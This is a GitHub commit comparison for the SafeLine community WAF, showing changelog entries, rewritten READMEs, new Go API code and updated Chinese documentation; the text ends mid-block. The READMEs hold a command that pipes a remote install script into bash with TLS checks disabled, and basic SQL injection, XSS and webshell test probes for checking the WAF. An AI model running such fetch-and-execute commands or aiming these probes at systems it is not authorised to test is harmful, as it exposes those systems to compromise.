Compare commits
70 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dc726f35fc | ||
|
|
9177ba2cd3 | ||
|
|
91252b39c3 | ||
|
|
6ff20821a6 | ||
|
|
2a452e7e00 | ||
|
|
6e000a1163 | ||
|
|
8fe49e356b | ||
|
|
c93bba9cab | ||
|
|
82a7a4d224 | ||
|
|
60dc4dd14d | ||
|
|
16f8852d05 | ||
|
|
7028592b4c | ||
|
|
a3bf0edab3 | ||
|
|
50f75d8c77 | ||
|
|
f58855d385 | ||
|
|
c69293f787 | ||
|
|
054b6e1fa2 | ||
|
|
c0d563855a | ||
|
|
c229d86ef9 | ||
|
|
5ff3b69fe4 | ||
|
|
58a9552d04 | ||
|
|
afbe426448 | ||
|
|
cbdd538ecb | ||
|
|
e82d692665 | ||
|
|
bb4e9eca9f | ||
|
|
b74cc5600a | ||
|
|
43e5fd4c43 | ||
|
|
2666952087 | ||
|
|
9963e9c4c8 | ||
|
|
5ed5677e83 | ||
|
|
abbcc93fdc | ||
|
|
6abab2eac9 | ||
|
|
22cc37a1ee | ||
|
|
cbb2b2e275 | ||
|
|
822995e0d3 | ||
|
|
5dd94ca743 | ||
|
|
a6aec88455 | ||
|
|
671654206e | ||
|
|
faba892880 | ||
|
|
6abd504909 | ||
|
|
ec1ef66fb4 | ||
|
|
0dafcac061 | ||
|
|
f900dba08b | ||
|
|
ad4bf766cf | ||
|
|
aa695d5e59 | ||
|
|
ca0c55c035 | ||
|
|
a45a7f5593 | ||
|
|
a8df77d297 | ||
|
|
9c30d44d51 | ||
|
|
aab1852737 | ||
|
|
af908bc7ef | ||
|
|
905b19dce7 | ||
|
|
16f5205693 | ||
|
|
aec9095d7e | ||
|
|
8232677658 | ||
|
|
94b6fabc5f | ||
|
|
d65f689b26 | ||
|
|
9da2f189b4 | ||
|
|
d1e007cdc0 | ||
|
|
1cff17ea6d | ||
|
|
4c3b955b92 | ||
|
|
6e04f0b10f | ||
|
|
4a7ad7527e | ||
|
|
dd66ebc5c1 | ||
|
|
93698a7fe9 | ||
|
|
50a250c2a6 | ||
|
|
a469450be1 | ||
|
|
f3475a362f | ||
|
|
e10ccaf440 | ||
|
|
9748d8587f |
97
CHANGELOG.md
@@ -1,5 +1,102 @@
|
||||
# SAFELINE-CE CHANGELOG
|
||||
|
||||
## [6.0.1] - 2024-05-31
|
||||
|
||||
### 修复
|
||||
* 修复流式版本 tengine 启动异常的问题
|
||||
* 修复历史攻击事件无法查询明细日志的问题
|
||||
|
||||
## [6.0.0] - 2024-05-31
|
||||
|
||||
### 新增
|
||||
* 站点高级防护新增动态防护(BETA),能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)
|
||||
* 新增上游服务器健康检查,方便配置与管理
|
||||
* 攻击事件的聚合维度增加域名、端口,方便观察。即同一 IP 对不同域名、端口的攻击,现在会记录不同的攻击事件了
|
||||
|
||||
### 优化
|
||||
* 攻击事件支持按域名、端口筛选
|
||||
* 新增 tengine 异常时,紧急恢复 tengine 的命令,详情见文档([紧急恢复 tengine](https://waf-ce.chaitin.cn/docs/faq/other#紧急恢复-tengine))
|
||||
* 修复开启 http2 时,配置站点可能出现 nginx: [warn] protocol options redefined 的问题
|
||||
* 修复黑白名单没有记录触发次数的问题
|
||||
* 站点域名提交时自动删去域名前后的空格,避免证书列表提示域名不匹配
|
||||
* 修复 SDK 旁路部署模式下黑白名单工作异常的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.6.2] - 2024-05-23
|
||||
|
||||
### 优化
|
||||
* 身份认证、控制台登录设置可以一键随机一个密码
|
||||
* 添加/编辑自定义规则时,如果未保存直接关闭弹窗,会增加一个确认提醒([#761](https://github.com/chaitin/SafeLine/issues/761)))
|
||||
* 修复申请免费证书时,域名中带空格或者输入多个域名时会申请失败的问题(报错 onflicting server name ... on 0.0.0.0:80 的问题)
|
||||
* 修复申请证书和添加站点的时候,域名中带空格会报错 “域名不匹配” 的问题([#596](https://github.com/chaitin/SafeLine/issues/596)))
|
||||
* 修复站点为观察模式时,也会拦截一些补充规则的问题
|
||||
* 修复某些情况下免费证书无法续期的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.6.1] - 2024-05-17
|
||||
|
||||
### 修复
|
||||
* 修复无法申请 acme 证书的问题
|
||||
|
||||
|
||||
## [5.6.0] - 2024-05-16
|
||||
|
||||
### 新增
|
||||
* 自定义规则的部分匹配内容支持输入多个值,多个值之间为 “或 (OR)” 关系
|
||||
* 专业版支持自定义人机验证的底部文字,替代雷池版权信息
|
||||
|
||||
### 优化
|
||||
* 502、504 异常页面适配手机端
|
||||
* 编辑站点时,根据需要自动调大 xx_hash_bucket_size、xx_hash_max_size,避免这两种配置不足报错
|
||||
* 修复有时无法采集到站点资源的问题
|
||||
* 优化一些界面交互细节
|
||||
|
||||
## [5.5.2] - 2024-05-10
|
||||
|
||||
### 修复
|
||||
* 修复 IP 组详情某些情况下与老版本不兼容的问题
|
||||
|
||||
## [5.5.1] - 2024-05-10
|
||||
|
||||
### 修复
|
||||
* 修复自定义规则选择 IP 组时规则不生效的问题
|
||||
|
||||
## [5.5.0] - 2024-05-09
|
||||
|
||||
### 新增
|
||||
* 站点列表支持一键配置高级防护规则
|
||||
|
||||
### 优化
|
||||
* 黑白名单、人机验证、身份认证 页面合并为 “自定义规则”,简化导航
|
||||
* 黑白名单、身份认证 规则增加 “触发次数” “通过次数” 统计
|
||||
* 注:同一种规则类型内,触发的优先级为 新添加的自定义规则 > 旧添加的自定义规则 > 站点列表上一键配置的高级防护规则
|
||||
* 站点资源统计逻辑优化
|
||||
* 修复有时候免费证书临期不会自动续期的问题
|
||||
* 修复匹配条件中 ipv6 地址展示不正确的问题([#830](https://github.com/chaitin/SafeLine/issues/830))
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.4.0] - 2024-04-25
|
||||
|
||||
### 新增
|
||||
* 源 IP 获取方式增加 XFF
|
||||
* 专业版增加 系统设置->检测引擎性能配置,可以根据设备的配置等级选择不同的性能模式
|
||||
|
||||
### 优化
|
||||
* 修复浏览器内核版本 < Chromium 93 时,点击智能 AI 分析页面会崩溃的问题
|
||||
* 修复少数情况下,限频没有正常封禁 IP 的问题
|
||||
* 优化 luigi 统计算法,解决 CPU 占用过高的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.3.3] - 2024-04-18
|
||||
|
||||
### 优化
|
||||
* 日志列表不返回 IP 组全部内容,降低访问耗时
|
||||
* 修复基础统计 -> 4xx 数量中,把人机验证拦截也计入了的问题
|
||||
* 修复高级统计 -> 来源域名、来源页面中,把内部跳转也计入了的问题
|
||||
* 修复上游有多个域名时,获取不到正确 title 和 icon 的问题([#821](https://github.com/chaitin/SafeLine/issues/821))
|
||||
* 修复筛选 UI 错位问题([#789](https://github.com/chaitin/SafeLine/issues/789))
|
||||
* 修复其他一些已知问题
|
||||
|
||||
## [5.3.2] - 2024-04-12
|
||||
|
||||
### 修复
|
||||
|
||||
26
README.md
@@ -1,7 +1,12 @@
|
||||
<p align="center">
|
||||
<a href="./">中文</a> |
|
||||
<a href="./README_EN.md">English</a>
|
||||
</p>
|
||||
<h1 align="center">雷池 - 广受好评的社区 WAF</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/403.svg" width="120">
|
||||
</p>
|
||||
<h1 align="center">雷池 - 广受好评的社区 WAF</h1>
|
||||
<br>
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
|
||||
@@ -14,27 +19,26 @@
|
||||
<p align="center">
|
||||
<a href="https://waf-ce.chaitin.cn/">官方网站</a> |
|
||||
<a href="https://demo.waf-ce.chaitin.cn:9443/dashboard">在线 Demo</a> |
|
||||
<a href="https://waf-ce.chaitin.cn/posts/guide_introduction">技术文档</a> |
|
||||
<a href="README_EN.md">For English</a>
|
||||
<a href="https://waf-ce.chaitin.cn/posts/guide_introduction">技术文档</a>
|
||||
</p>
|
||||
|
||||
一款足够简单、足够好用、足够强的免费 WAF。基于业界领先的语义引擎检测技术,作为反向代理接入,保护你的网站不受黑客攻击。
|
||||
|
||||
- **累计安装**超过 60000 台
|
||||
- **保护网站**超过 500,000 个
|
||||
- 每天**处理 HTTP 请求**超过 20,000,000,000 次
|
||||
- 每天**拦截攻击**超过 10,000,000 次
|
||||
- **累计安装**超过 130,000 台
|
||||
- **保护网站**超过 1,000,000 个
|
||||
- 每天**处理 HTTP 请求**超过 30,000,000,000 次
|
||||
- 每天**拦截攻击**超过 50,000,000 次
|
||||
|
||||
核心检测能力由智能语义分析算法驱动,专为社区而生,不让黑客越雷池半步。
|
||||
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/album/0.png" />
|
||||
<img src="./images/safeline.png" />
|
||||
|
||||
<h4 align="center">相关源码仓库</h4>
|
||||
<p align="center">
|
||||
<a href="https://github.com/chaitin/yanshi">语义分析自动机引擎</a> |
|
||||
<a href="https://github.com/chaitin/safeline-open-platform">流量分析插件</a> |
|
||||
<a href="https://github.com/chaitin/lua-resty-t1k">T1K 协议</a> |
|
||||
<a href="https://github.com/chaitin/blazehttp">测试工具</a>
|
||||
<a href="https://github.com/chaitin/blazehttp">WAF 测试工具</a>
|
||||
</p>
|
||||
|
||||
## 相关特性
|
||||
@@ -65,7 +69,6 @@
|
||||
- 软件依赖:Docker Compose 2.0.0 版本以上
|
||||
- 最小化环境:1 核 CPU / 1 GB 内存 / 10 GB 磁盘
|
||||
|
||||
|
||||
### 一键安装
|
||||
|
||||
```
|
||||
@@ -112,7 +115,8 @@ bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
|
||||
## 🏘️ 联系我们
|
||||
|
||||
1. 可以通过 GitHub Issue 直接进行 Bug 反馈和功能建议
|
||||
2. 可以扫描下方二维码加入雷池社区版用户讨论群
|
||||
2. 点击 <a href="https://discord.gg/wyshSVuvxC">链接</a> 加入雷池 Discord 聊天室
|
||||
3. 扫描下方二维码加入雷池社区版用户讨论群
|
||||
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
|
||||
|
||||
|
||||
153
README_EN.md
@@ -1,8 +1,12 @@
|
||||
<p align="center">
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/veinmind/safeline-assets/safeline_logo.png" width="120">
|
||||
<a href="./">中文</a> |
|
||||
<a href="./README_EN.md">English</a>
|
||||
</p>
|
||||
<h1 align="center">SafeLine - The Best WAF For Community</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/403.svg" width="120">
|
||||
</p>
|
||||
<h1 align="center">SafeLine Community Edition</h1>
|
||||
<h3 align="center">Keep hackers at bay</h3>
|
||||
<br>
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
|
||||
@@ -12,101 +16,110 @@
|
||||
<img src="https://img.shields.io/github/stars/chaitin/safeline?style=social">
|
||||
</p>
|
||||
|
||||
<p align="center"> <a href="https://waf-ce.chaitin.cn/">Official Website</a> </p>
|
||||
<p align="center"> English | <a href="README_CN.md">中文文档</a> </p>
|
||||
<p align="center">
|
||||
<a href="https://waf-ce.chaitin.cn/">Home Page</a> |
|
||||
<a href="https://demo.waf-ce.chaitin.cn:9443/dashboard">Online Demo</a> |
|
||||
<a href="https://waf-ce.chaitin.cn/posts/guide_introduction">Documents</a>
|
||||
</p>
|
||||
|
||||
A simple and easy to use WAF tool. Built on [Chaitin Technology](https://www.chaitin.cn/en/)'s ace 🤖️Intelligent Semantic Analysis algorithm🤖️, designed for the community.
|
||||
A simple, easy-to-use, and powerful free WAF. Based on the industry-leading semantic engine detection technology, it serves as a reverse proxy access to protect your website.
|
||||
|
||||
## ✨ Demo
|
||||
- Cumulative installations exceed **130,000** units
|
||||
- Protecting websites over **1,000,000**
|
||||
- Processing HTTP requests over **30,000,000,000** times per day
|
||||
- Intercepting attacks over **50,000,000** times per day
|
||||
|
||||
### 🔥🔥🔥 Online Demo: https://demo.waf-ce.chaitin.cn:9443/
|
||||
The core detection capability is driven by intelligent semantic analysis algorithms, tailored for the community, keep hackers away from you.
|
||||
|
||||
There is a simple http server, listened on `http://127.0.0.1:8889`, can be used as for testing.
|
||||
<img src="./images/safeline_en.png" />
|
||||
|
||||

|
||||
<h4 align="center">Related Repo</h4>
|
||||
<p align="center">
|
||||
<a href="https://github.com/chaitin/yanshi">Automaton Generator</a> |
|
||||
<a href="https://github.com/chaitin/safeline-open-platform">Lua Plugin</a> |
|
||||
<a href="https://github.com/chaitin/lua-resty-t1k">T1K Protocol</a> |
|
||||
<a href="https://github.com/chaitin/blazehttp">WAF Test Tool</a>
|
||||
</p>
|
||||
|
||||

|
||||
## Features
|
||||
|
||||
## 🚀 Installation
|
||||
#### Convenience
|
||||
|
||||
### 1. Make sure [Docker](https://docs.docker.com/engine/install/) and [Compose V2](https://docs.docker.com/compose/install/) are installed correctly on the machine
|
||||
```shell
|
||||
docker info # >= 20.10.6
|
||||
docker compose version # >= 2.0.0
|
||||
Adopting containerized deployment, installation can be completed with one command at zero cost. Security configurations are ready to use out of the box, requiring no manual maintenance and enabling secure and effortless management.
|
||||
|
||||
#### Security
|
||||
|
||||
Pioneering industry-leading intelligent semantic analysis algorithms for precise detection, low false positives, and resistance to circumvention. Unconstrained by rules, the semantic analysis algorithm equips users to confidently confront unknown 0day attack features.
|
||||
|
||||
#### High Performance
|
||||
|
||||
Ruleless engine, linear security detection algorithm, with an average request detection latency at the millisecond level. Strong concurrency capability, effortlessly detecting 2000+ TPS on a single core; with sufficient hardware, there is no upper limit to the supported traffic scale.
|
||||
|
||||
#### High Availability
|
||||
|
||||
The traffic processing engine is developed based on Nginx, guaranteeing both performance and stability. It incorporates a comprehensive health check mechanism, ensuring a service availability of up to 99.99%.
|
||||
|
||||
|
||||
## 🚀 Get Started
|
||||
|
||||
### Environment
|
||||
|
||||
- Operating System: Linux
|
||||
- Instruction Architecture: x86_64
|
||||
- Software Dependencies: Docker version 20.10.6 or higher
|
||||
- Software Dependencies: Docker Compose version 2.0.0 or higher
|
||||
- Minimum Environment: 1 core CPU / 1 GB memory / 10 GB disk
|
||||
|
||||
### Setup
|
||||
|
||||
```
|
||||
bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
|
||||
```
|
||||
|
||||
### 2. Setup and deploy
|
||||
> for information for <a href="https://waf-ce.chaitin.cn/posts/guide_install">安装雷池</a>
|
||||
|
||||
```shell
|
||||
mkdir -p safeline && cd safeline
|
||||
# setup
|
||||
curl -kfLsS https://waf-ce.chaitin.cn/release/latest/setup.sh | bash
|
||||
## 🕹️ use SafeLine
|
||||
|
||||
# launch
|
||||
sudo docker compose up -d
|
||||
```
|
||||
### Login
|
||||
|
||||
#### Upgrade
|
||||
After opening the backend management page in the browser at `https://<IP-or-HOSTNAME>:9443`, follow the on-screen instructions to scan the QR code using an authentication app that supports TOTP, and then enter the dynamic password to log in.
|
||||
|
||||
**WARN: SafeLine will be restarted and your traffic will be unavailable for a short period of time. You may need to choose a proper time for upgration.**
|
||||

|
||||
|
||||
```shell
|
||||
curl -kfLsS https://waf-ce.chaitin.cn/release/latest/upgrade.sh | bash
|
||||
### Settings
|
||||
|
||||
# delete the old used image layers if necessary.
|
||||
docker rmi $(docker images | grep "safeline" | grep "none" | awk '{print $3}')
|
||||
```
|
||||
SafeLine is accessed in reverse proxy mode, receiving traffic before the web server, detecting and cleaning attack behavior in the traffic, and then forwarding the cleaned traffic to the web server.
|
||||
|
||||
## 🕹️ Quick Start
|
||||

|
||||
|
||||
### 1. Login
|
||||
<font color=grey>💡 TIPS: After adding, executing `curl -H "Host: <domain>" http://<IP-or-HOSTNAME>:<port>` should be able to get the response of the website.
|
||||
|
||||
Open admin page `https://<waf-ip>:9443` and scan qrcode with any authenticator Apps that support TOTP, enter the code to login.
|
||||
### test
|
||||
|
||||

|
||||
Use the following step to simulate hacker attack and see how effective the protection of the SafeLine is.
|
||||
|
||||
### 2. Create website
|
||||
- access `http://<IP-or-HOSTNAME>:<PORT>/?id=1%20AND%201=1`
|
||||
- access `http://<IP-or-HOSTNAME>:<PORT>/?a=<script>alert(1)</script>`
|
||||
|
||||

|
||||

|
||||
|
||||
<font color=grey>💡 TIPS: After creating website,execute `curl -H "Host: <Domain>" http://<WAF IP>:<Port>` to check if you can get correct response from web server.</font>
|
||||
> more test for <a href="https://waf-ce.chaitin.cn/posts/guide_test">测试防护效果</a>
|
||||
|
||||
### 3. Deploy your website to SafeLine
|
||||
### FAQ
|
||||
|
||||
- If your website is hosted by DNS, just modify your DNS record to WAF
|
||||
- If your website is behind any reverse-proxy like nginx, you can modify your nginx conf and set upstream to WAF
|
||||
- [SETUP](https://waf-ce.chaitin.cn/posts/faq_install)
|
||||
- [LOGIN](https://waf-ce.chaitin.cn/posts/faq_login)
|
||||
- [PROXY](https://waf-ce.chaitin.cn/posts/faq_access)
|
||||
- [SETTINGS](https://waf-ce.chaitin.cn/posts/faq_config)
|
||||
- [OTHERS](https://waf-ce.chaitin.cn/posts/faq_other)
|
||||
|
||||
### 4. Protected!👌
|
||||
## 🏘️ Talk Group
|
||||
|
||||
Try these:
|
||||
|
||||
- `http://<IP or Domain>:<Port>/webshell.php`
|
||||
- `http://<IP or Domain>:<Port>/?id=1%20AND%201=1`
|
||||
- `http://<IP or Domain>:<Port>/?a=<script>alert(1)</script>`
|
||||
|
||||
## 📖 FAQ
|
||||
|
||||
Please refer to our [FAQ](FAQ.md) first if you have any questions.
|
||||
|
||||
For examples:
|
||||
- [docker compose or docker-compose?](FAQ.md#docker-compose-or-docker-compose)
|
||||
- [website configurations](FAQ.md#站点配置问题)
|
||||
- [website not working / not correctly response](FAQ.md#配置完成之后还是没有成功访问到上游服务器)
|
||||
|
||||
## 🏘️ Contact Us
|
||||
|
||||
1. You can make bug feedback and feature suggestions directly through GitHub Issues.
|
||||
2. By scanning the QR code below (use wechat or qq), you can join the discussion group of SafeLine users for detailed discussions.
|
||||
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
|
||||
|
||||
## ✨ CTStack
|
||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
||||
|
||||
SafeLine has already joined [CTStack](https://stack.chaitin.com/tool/detail?id=717) community.
|
||||
1. Bug feedback and feature suggestions can be directly submitted through GitHub Issues.
|
||||
2. Join <a target="_blank" href="https://discord.gg/wyshSVuvxC">SafeLine Discord</a> for more discussions.
|
||||
|
||||
## Star History <a name="star-history"></a>
|
||||
|
||||
<a href="https://github.com/chaitin/safeline/stargazers">
|
||||
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
|
||||
</a>
|
||||
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
|
||||
</a>
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
@@ -62,3 +63,44 @@ func (h *SafelineHandler) Exist(c *gin.Context) {
|
||||
}
|
||||
c.JSON(200, gin.H{"ip": ip})
|
||||
}
|
||||
|
||||
type BehaviorReq struct {
|
||||
Source string `json:"source"`
|
||||
Type service.BehaviorType `json:"type"`
|
||||
}
|
||||
|
||||
// Behavior record user behavior
|
||||
// @Summary record user behavior
|
||||
// @Description record user behavior
|
||||
// @Tags Safeline
|
||||
// @Accept json
|
||||
// @Produce json
|
||||
// @Param body body BehaviorReq true "body"
|
||||
// @Success 200 {object} string
|
||||
// @Router /behavior [post]
|
||||
func (h *SafelineHandler) Behavior(c *gin.Context) {
|
||||
req := &BehaviorReq{}
|
||||
if err := c.BindJSON(req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if req.Type >= service.BehaviorTypeMax || req.Type <= service.BehaviorTypeMin {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid behavior type"})
|
||||
return
|
||||
}
|
||||
|
||||
byteReq, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
err = h.safelineService.PostBehavior(c, byteReq)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(200, gin.H{})
|
||||
}
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
package service
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
@@ -33,25 +32,50 @@ func NewSafelineService(host string) *SafelineService {
|
||||
}
|
||||
}
|
||||
|
||||
type response[T any] struct {
|
||||
Code int `json:"code"`
|
||||
Data T `json:"data"`
|
||||
}
|
||||
|
||||
func (s *SafelineService) request(req *http.Request, data any) error {
|
||||
res, err := s.client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
|
||||
if res.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("request failed, status_code: %d", res.StatusCode)
|
||||
}
|
||||
|
||||
if data == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
err = json.NewDecoder(res.Body).Decode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SafelineService) GetInstallerCount(ctx context.Context) (InstallerCount, error) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, s.APIHost+"/api/v1/public/safeline/count", nil)
|
||||
if err != nil {
|
||||
return cacheCount, err
|
||||
}
|
||||
res, err := s.client.Do(req)
|
||||
if err != nil {
|
||||
return cacheCount, err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
var r map[string]interface{}
|
||||
if err := json.NewDecoder(res.Body).Decode(&r); err != nil {
|
||||
return cacheCount, err
|
||||
}
|
||||
if r["code"].(float64) != 0 {
|
||||
|
||||
var r response[struct {
|
||||
Total int `json:"total"`
|
||||
}]
|
||||
|
||||
err = s.request(req, &r)
|
||||
if r.Code != 0 {
|
||||
return cacheCount, nil
|
||||
}
|
||||
cacheCount = InstallerCount{
|
||||
Total: int(r["data"].(map[string]interface{})["total"].(float64)),
|
||||
Total: r.Data.Total,
|
||||
}
|
||||
return cacheCount, nil
|
||||
}
|
||||
@@ -63,21 +87,41 @@ func (s *SafelineService) GetExist(ctx context.Context, id string, token string)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
res, err := s.client.Do(req)
|
||||
|
||||
var r response[struct {
|
||||
IP string `json:"ip"`
|
||||
}]
|
||||
|
||||
err = s.request(req, &r)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
if res.StatusCode != http.StatusOK {
|
||||
raw, _ := io.ReadAll(res.Body)
|
||||
return "", errors.New(string(raw))
|
||||
}
|
||||
var r map[string]interface{}
|
||||
if err := json.NewDecoder(res.Body).Decode(&r); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if r["code"].(float64) != 0 {
|
||||
|
||||
if r.Code != 0 {
|
||||
return "", nil
|
||||
}
|
||||
return r["data"].(map[string]interface{})["ip"].(string), nil
|
||||
return r.Data.IP, nil
|
||||
}
|
||||
|
||||
type BehaviorType uint64
|
||||
|
||||
const (
|
||||
BehaviorTypeMin BehaviorType = iota + 1000
|
||||
BehaviorTypePurchase
|
||||
BehaviorTypeConsult
|
||||
BehaviorTypeMax
|
||||
)
|
||||
|
||||
func (s *SafelineService) PostBehavior(ctx context.Context, body []byte) error {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, s.APIHost+"/api/v1/public/safeline/behavior", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = s.request(req, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -54,6 +54,7 @@ func main() {
|
||||
safelineHandler := handler.NewSafelineHandler(safelineService)
|
||||
v1.GET("/safeline/count", safelineHandler.GetInstallerCount)
|
||||
v1.POST("/exist", safelineHandler.Exist)
|
||||
v1.POST("/behavior", safelineHandler.Behavior)
|
||||
|
||||
docs.SwaggerInfo.BasePath = v1.BasePath()
|
||||
r.GET("/swagger/*any", ginSwagger.WrapHandler(swaggerfiles.Handler))
|
||||
|
||||
@@ -103,6 +103,24 @@ title: "配置站点"
|
||||
|
||||

|
||||
|
||||
|
||||
## 高级防护
|
||||
|
||||
新版本增加单个站点的高级防护配置,支持对单个站点进行额外的防护配置
|
||||
|
||||
注意:自定义规则不受到当前开关影响
|
||||
|
||||

|
||||
|
||||
### 人机验证
|
||||
|
||||
点击后可以开启单个站点的人机验证
|
||||
|
||||
### 身份认证
|
||||
|
||||
点击可以为当前站点额外配置一个身份认证规则
|
||||
|
||||
|
||||
## 常见配置问题
|
||||
|
||||
请参考 [配置问题](/faq/config)
|
||||
@@ -20,8 +20,7 @@ title: "测试防护"
|
||||
|
||||
整体监测流程参考:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 尝试手动模拟攻击
|
||||
|
||||
@@ -34,7 +34,14 @@ title: "配置其他"
|
||||
|
||||
## 防护配置
|
||||
|
||||
### 黑白名单
|
||||
### 自定义规则
|
||||
|
||||
新版本自定义规则把原黑白名单、人机验证、身份认证都合并一起管理,可以通过页面进行筛选
|
||||
|
||||
|
||||

|
||||
|
||||
#### 类型:黑、白名单
|
||||
|
||||
黑名单:拦截
|
||||
|
||||
@@ -42,7 +49,19 @@ title: "配置其他"
|
||||
|
||||
注意:条件 AND 是指同时符合,如果希望多个匹配条件需要增加多条黑名单或者白名单
|
||||
|
||||

|
||||
#### 类型:人机验证
|
||||
|
||||
人机验证的有效时间默认是一个小时,未来可能会支持配置,敬请期待。
|
||||
|
||||
详情查看 [人机验证 2.0](/about/challenge)
|
||||
|
||||
#### 类型:身份认证
|
||||
|
||||
可以通过添加认证规则,对雷池保护的站点额外增加身份认证功能。
|
||||
|
||||

|
||||
|
||||
如图,触发身份认证规则后需要使用账户密码登录后继续访问网站。
|
||||
|
||||
### 频率限制
|
||||
|
||||
@@ -52,11 +71,6 @@ title: "配置其他"
|
||||
|
||||

|
||||
|
||||
### 人机验证
|
||||
|
||||
人机验证的有效时间默认是一个小时,未来可能会支持配置,敬请期待。
|
||||
|
||||
详情查看 [人机验证 2.0](/about/challenge)
|
||||
|
||||
### 语义分析
|
||||
|
||||
@@ -70,15 +84,6 @@ title: "配置其他"
|
||||
|
||||

|
||||
|
||||
### 身份认证
|
||||
|
||||
可以通过添加认证规则,对雷池保护的站点额外增加身份认证功能。
|
||||
|
||||

|
||||
|
||||
如图,触发身份认证规则后需要使用账户密码登录后继续访问网站。
|
||||
|
||||

|
||||
|
||||
### 通用配置
|
||||
|
||||
@@ -104,6 +104,22 @@ security_opt:
|
||||
|
||||
3.动手删除目录
|
||||
|
||||
## 关于推荐的配置
|
||||
|
||||
需根据业务情况进行选择,带宽推荐与源站的带宽保持一致
|
||||
|
||||
独立部署雷池环境下:
|
||||
|
||||
如果业务QPS低于100,推荐2c4g及以上配置
|
||||
|
||||
如果业务QPS大于100低于1000,推荐4c8g及以上配置
|
||||
|
||||
如果业务QPS高于1000,推荐8c16g及以上配置
|
||||
|
||||
注意:
|
||||
|
||||
上述推荐仅做参考,建议根据业务情况进行测试后,再确定服务器配置
|
||||
|
||||
|
||||
## 问题无法解决
|
||||
|
||||
|
||||
@@ -6,6 +6,10 @@ title: "配置问题"
|
||||
|
||||
记录常见的配置问题
|
||||
|
||||
## 配置后攻击测试没有拦截记录
|
||||
|
||||
检查访问请求有没有真实经过雷池
|
||||
|
||||
## 配置后网站无法访问,排查思路
|
||||
|
||||
如果按照指引配置了站点,但配置的网站无法访问
|
||||
@@ -22,6 +26,8 @@ title: "配置问题"
|
||||
|
||||
5. 雷池本身的状态不正常,使用 docker ps 检查容器状态
|
||||
|
||||
注:还可以结合safeline-mgt和safeline-tengine两个容器的日志帮助排查
|
||||
|
||||
## 排查步骤
|
||||
|
||||
1. 明确 “网站无法访问” 的具体表现:
|
||||
|
||||
@@ -6,6 +6,12 @@ title: "升级问题"
|
||||
|
||||
记录常见的升级问题
|
||||
|
||||
## 关于升级后兼容问题
|
||||
|
||||
版本差距过大会可能会发生升级后数据不兼容导致服务器无法起来
|
||||
|
||||
跨多个版本(超过1个大版本号)升级做好数据备份,遇到升级失败可尝试重新安装解决
|
||||
|
||||
## 默认账号密码
|
||||
|
||||
雷池社区版5.0.0以后的版本都有一个默认的账户密码
|
||||
|
||||
@@ -191,12 +191,81 @@ docker exec safeline-tengine nginx -s reload
|
||||
|
||||

|
||||
|
||||
## 查看容器日志根据错误日志进行排查(通用)
|
||||
|
||||
1. 查看容器状态
|
||||
|
||||
```shell
|
||||
docker ps
|
||||
```
|
||||
|
||||
2. 查看tengine日志
|
||||
|
||||
```shell
|
||||
docker logs -f safeline-tengine
|
||||
```
|
||||
|
||||
3. 查看mgt日志
|
||||
|
||||
```shell
|
